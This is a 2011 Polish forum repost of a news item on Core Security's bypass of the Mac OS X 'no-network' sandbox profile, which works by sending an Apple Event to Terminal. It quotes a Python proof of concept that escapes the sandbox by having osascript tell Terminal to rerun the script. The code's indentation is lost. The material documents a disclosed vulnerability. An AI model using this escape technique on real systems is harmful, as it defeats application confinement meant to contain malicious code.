16.11.2011, 11:14
Za Hacking.pl (artykuł w całości)
Cytat: Firma Core Security ostrzegła przed korzystaniem z domyślnych predefiniowanych ustawień piaskownicy (sandbox) w Mac OS X.
Piaskownica w Mac OS X pozwala deweloperom szczegółowo określać (dzięki gotowym presetom), z których zasobów aplikacja może korzystać, a z których nie. Celem takiego mechanizmu jest ochrona przed działaniem złośliwego kodu, który może zostać wstrzyknięty poprzez lukę w systemie.
Jeden z takich profili, “no-network” pozwala określić deweloperowi, czy program może korzystać z funkcji sieciowych. Okazuje się, że już sam profil nie jest wolny od wad. Core Security zaprezentowało, w jaki sposób można ominąć nakładane przez profile sandboksa restrykcje.
Wysłali oni do terminala Apple Event, który spowodował z kolei uruchomienie skryptu mającego dostęp do sieci.
[Aby zobaczyć linki, zarejestruj się tutaj]
Jak się okazuje luka w piaskownicy jest podobna do tej zgłaszanej przez Charlie Millera na konferencji Black Hat 2008 w Japonii. Aple co prawda zrobiło wiele, żeby te błędy naprawić, okazało się jednak po latach, że i tak wciąż da się ją wykorzystać. W oryginalnym artykule Core Security linkowany jest przewodnik pozwalający na prawidłową konfigurację piaskownicy, przedstawia dokładny opis luki, pokazuje również mechanizm wykorzystania luki - poniżejCytat: import os
import sys
import socket
if len(sys.argv) != 2:
print "[-]Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0]
try:
targetIP = sys.argv[1]
s = socket.socket()
s.connect((targetIP, 80))
s.send(''GET /\r\n\r\n'')
print(s.recv(1024))
print "\n\n\n[+]Sandbox escaped"
except Exception, e:
if "Operation not permitted" in str(e): #print repr(e)
print "[-]Blocked by seatbelt"
print "[ ]Escaping..."
os.system("""/usr/bin/osascript -e ''tell application "Terminal" to do script "python %s %s"''""" % (sys.argv[0] , targetIP))
[Aby zobaczyć linki, zarejestruj się tutaj]
"Bezpieczeństwo jest podróżą, a nie celem samym w sobie - to nie jest problem, który można rozwiązać raz na zawsze"
"Zaufanie nie stanowi kontroli, a nadzieja nie jest strategią"
"Zaufanie nie stanowi kontroli, a nadzieja nie jest strategią"